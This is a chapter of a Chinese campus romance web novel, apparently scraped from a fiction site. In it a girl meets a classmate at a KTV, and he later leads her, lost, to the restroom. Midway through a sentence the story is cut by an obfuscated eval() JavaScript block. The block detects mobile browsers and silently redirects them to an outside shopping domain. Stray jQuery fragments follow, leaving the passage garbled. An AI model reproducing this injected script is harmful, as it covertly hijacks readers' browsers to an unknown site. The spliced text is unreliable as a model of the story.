文趣网 > 都市小说 > 诱蓝 > 10. 第十张网
    刚刚坐在那垂头玩手机的少年此刻就站在她们旁边。

    时蓝踌躇着怎么跟他道谢。

    事情发生得太快,稀里糊涂就被挤了进来,路晴看见熟人主动打了个招呼。

    贺唯一点头:“跟朋友来的。”

    电梯关闭,贺唯一伸手摁了个数字,扭头问她们:“你们几楼?”

    路晴看了眼电梯楼层,“五楼。”

    贺唯一收回虚浮在按键上的手。

    一个楼层。

    随后电梯内便鸦雀无声,时蓝这句谢谢到底是没来得及开口。

    路晴大大咧咧,一直抱着臂在那玩手机,那件事估计她都没注意,只当是谁没站稳,贺唯一正好路过扶了他一把。

    时蓝却看得一清二楚,因为她恰好与那个猥琐男不怀好意的视线交汇,也恰好看见贺唯一那一下用了多大的劲。

    那种力度是捏,不是扶。

    时蓝不禁悄悄直起脑袋,用余光看他。

    男生比她高太多,她这个距离,堪堪瞥见他瘦削的肩膀。

    这么瘦,是怎么力气那么大的?

    她想到那个男人落荒而逃的样子。

    再往上一点,她能看见他左耳的银色耳钉。

    时蓝突然想到,好像她每一次看见贺唯一,都是通过这颗耳钉辨认的。

    除了出去学习那次,其他时候他好像都带着这颗银色带钻的,这对他有什么特别的意义吗?

    似乎是觉察到有视线盯着他,贺唯一动了动身体。

    时蓝连忙扭头,口袋里的手下意识攥住,手心微微沁出薄汗,她心虚地眨眨眼睛。

    贺唯一看着那颗脑袋此地无银三百两地转向玻璃那侧。

    脸上的小表情通过镜面反射进他眼里,一览无余。

    贺唯一没忍住勾了勾唇角。

    楼上的布局跟楼下没有多大区别,五光十色能把人眼睛闪瞎的霓虹灯球,震耳欲聋的音乐声,时不时还能听见几声完全不在调上的嚎叫。

    两个服务员带着他们一群人七绕八绕,最后停在一间房门外,“先生,你们的房间到了。”走在前面的服务员周到地帮他们把房门打开。

    为首的陆忘微笑着点头:“好,谢谢。”

    一行人走进去,另一个服务员带着时蓝两人继续往前走。

    他们的大小包是交叉着分布的,也就是说时蓝她们的小包间就在隔壁。

    陈建希跑去点歌,曲腿坐在高脚凳上,边笑嘻嘻问:“贺唯一,刚刚那俩美女你认识?”

    贺唯一把玩着桌上的玻璃酒杯,淡淡嗯了声,“同学。”

    身旁的陆忘正在开酒,闻言也笑:“哟,我们贺哥身边居然还有这么漂亮的同学。”

    微黄酒液顺着玻璃瓶口流下,伏特加的辛辣味直蹿鼻腔,“你还别说,那个高个子的是真好看。”他把酒递给贺唯一。

    “那身材,那脸蛋。”舒服地往后一躺,“给兄弟我介绍介绍呗。”陆忘伸手拍拍他肩膀。

    贺唯一踢他一脚,“别瞎打听。”

    “……”陆忘立刻捂住心脏作哀嚎状:“好可惜!失去了我这么一个帅到人神共愤的帅哥。”

    贺唯一难得赞同:“是挺人神共愤的。”

    陈建希在一旁狂笑。

    陆忘作势去掐贺唯一的脖子:“这是重点吗?重点是后半句!”

    包间空调开得足,贺唯一有些热,脱掉外面的黑色夹克,露出里面的白色衬衫,下摆塞进裤腰,勒出线条轮廓。

    贺唯一倚着沙发扶手,手里还拿着杯酒,他模样生得本就张扬,漫不经心勾起唇角时下颌线划出利落弧度。

    陆忘酸他:“啧,你说我们贺哥那么帅,怎么就没个女朋友呢。”他轻拍了下贺唯一的脸,半晌眼珠转了转,挑眉,瞳孔微微放大:“你不是……”

    陆忘还特地往后撤了下,攥紧自己的领口,一脸警惕地看着他。

    贺唯一语调懒散,侧头瞥了他一眼,视线从上到下,“放心,你安全得很。”

    贺唯一:“老子还是有点眼光的。”

    “靠!”陆忘觉得自己的帅气受到了极大的侮辱,非拉着陈建希合唱《世界超级帅》。

    *

    另一边,服务员替她俩把门打开就离开了。

    路晴手摸到墙壁上的开关,连摁两下,原本暖黄色的室内瞬间变得色彩纷呈,蓝粉绿色交替映在时蓝脸上,老实说她有属于第一次的兴奋感与好奇感。

    路晴熟门熟路去歌台点歌,时蓝坐在沙发一侧,把毛衣外套解开两颗扣子,往上提了提,衣服松松垮垮搭在身上,她找了个舒服的姿势,流光溢彩在浅色毛衣上跳动。

    “时蓝,你会唱什么歌?”路晴扭头问她,手指停在屏幕上。

    “……”会唱什么歌?时蓝脑子里突然一片空白,连一首歌名也想不起来。努力想了半天,还是未果,她只好说:“我记不起来歌名了,你先点吧。”

    路晴点头,把几首要唱的歌加入播放列表,钢琴舒缓的前奏通过音响放出来,回荡在这个十几平米小的房间里,放大效果倍增。

    歌词缓缓移动:梦里梦到醒不来的梦,红线里被软禁的红。

    路晴握着话筒问:“这个会吗?”时蓝点点头。

    陈奕迅的红玫瑰。

    这歌恰好她听过,会唱几句。

    时蓝拿过另一只麦克风,刚开口路晴就愣住了。

    时蓝的音色和她的长相很相符,偏空灵自然,唱歌比说话时少了几分清冷,声线缓柔,和伴奏完美契合。

    一个转音结束,到了间奏,包厢只余乐器声流淌。

    ——“我帅我帅我超级帅”

    “我帅我帅我是世界超级帅”

    隔壁传来的。

    时蓝和路晴对视一眼,而后纷纷沉默。

    小腹处忽然一紧,时蓝把话筒轻置在玻璃几案上,从沙发上起身,“我去趟厕所。”

    好像是快到日子了。

    走到一半才想起,该死,她没有带卫生巾。

    已经这样了,她只能祈求手里这包面巾纸够用。

    时蓝拐了个弯,傻眼了。

    一模一样的房间,一模一样的路口。

    这种场所整条走廊通常是被打通的,分岔口四通八达,像个迷宫一样。

    她又想起被服务员带过来的时候绕了好几个弯。

    时蓝天生方向感不强,此刻还遭受着身体上的不适,心中的无助感愈发强烈。

    她转了好几圈打算放弃,一转身,额头撞上什么坚硬的东西,痛得她轻呼一声。

    与此同时,鼻尖萦绕着一股淡淡的茶叶味,这香味有些熟悉。

    时蓝抬头,正对上贺唯一那双盛漆似的眼睛,他像是也被撞疼,这会儿正拧着眉,手掌揉着胸膛。

    “劲真大。”

    “对不起。”时蓝率先道歉。

    贺唯一淡哂一声:“道什么歉,你后背又没长眼睛。”

    “……”话是这么说没错,可时蓝觉得怎么这话到他嘴里就像变了个味,不过她现在急着找厕所,没功夫跟他掰扯,她朝他敷衍地笑笑,随后抬脚准备从他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843912|211694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身旁跑过去。

    人在生理需求很强的时候,通常会忘了用脑袋去思考如何迂回,只会不断强调一开始脑中浮现的方式及对策。

    就像现在,时蓝完全忘记“远水解不了近渴”这个道理,甚至觉得他这个“近水”十分的碍眼。

    毛衣领口被人从后轻轻揪起,贺唯一的声音在这空荡荡的走廊里还莫名带点磁性:“干嘛去,那么着急?”

    *

    陆忘这厮是真的没有清晰的自我认知,贺唯一第n次阻止了想要冲上去用麻袋套住他的狗头丢进河里喂鱼的冲动,他揉揉太阳穴,捣了一下旁边陈建希的胳膊:“这货受什么刺激了?”

    陈建希面露难色地看一眼台上自我陶醉的陆忘,又侧头看一眼贺唯一,故作为难:“他不让我说。”

    贺唯一:“说。”

    陈建希立刻像连环炮一样突突突,“那好吧我告诉你你别跟别人说陆忘失恋了。”

    可憋死他了,他其实一早就想告诉贺唯一来着。不过该有的场面得有,陈建希说完立刻抬手做了个封嘴的动作,揣兜往旁边一挪,“我可什么都没说啊。”

    几乎是瞬间,贺唯一想到一个人。

    贺唯一沉默地瞥了台上的陆忘一眼,他早就说过让陆忘不要轻易陷进去,不会有什么好下场的。

    像是又想到什么,心中躁意上升到极点,贺唯一长腿一伸踢上桌脚,手中的酒杯重重磕在桌面,发出清脆的声响,“我去卫生间。”

    水声哗哗,龙头汩汩冒出的水流顺着修长的指节下滑,冰冷刺骨,也让他的意识稍稍清醒了些,从那段痛苦的回忆里剥离出来。

    烘干手走出去,没走两步看见一个熟悉的身影,少女神色着急,脚下几乎是小跑起来,脑袋往左转转,又往右转转,像在寻找什么东西。

    她今天没扎马尾辫,半长的头发顺着肩垂下,只有最外沿的几缕发丝随着她的动作轻扬到空中,露出一小截白皙修长的脖颈,双眸因为着急还带了点水光。

    他揣着兜状若无事地往前走。

    ……

    饶是时蓝脾气再好,现下也有点抓狂,没听过挡人上厕所会天打雷劈吗,她非常想转头甩下一句“关你屁事”。

    “上厕所。”时蓝咬牙说。

    她告诫自己,他们现在还不是很熟,不能随便对人发脾气。

    贺唯一微愣,厕所不就在前边吗?

    “你这是,迷路了?”贺唯一是真的怀疑,毕竟他方向感很好,但通过她刚才一系列的动作,他又隐隐有种猜测。

    时蓝:“……”

    忍住,忍住。

    时蓝刚迈腿打算去找个服务员问问,毛衣领口被人一把揪住,这下她忍无可忍,胸腔中的怒火快要冲破喉咙,“你——”

    贺唯一绕过她,长腿往前迈,“我带你去。”

    神经病三个字被她硬生生吞了回去。

    时蓝从厕所出来时心情愉悦,不是月经,估计是有点闹肚子,“你怎么还在这啊?”她以为他带完路就会离开的。

    “怎么,过河拆桥?”男孩原本抱臂倚在门口的墙上,听见这话眯起眼睛微挑了下眉看着她。

    时蓝从他含着笑意的声音里隐隐嗅出点危险味道。

    时蓝:“我哪敢。”

    她笑得一脸人畜无害,露出唇边两个小小的涡,贺唯一淡笑着不说话。

    “对了,之前那件事,谢谢你啊。”时蓝说。

    贺唯一收起微曲的一条腿,直起身子,站在原地想了两秒才反应过来她说的哪件事,“没事,举手之劳。”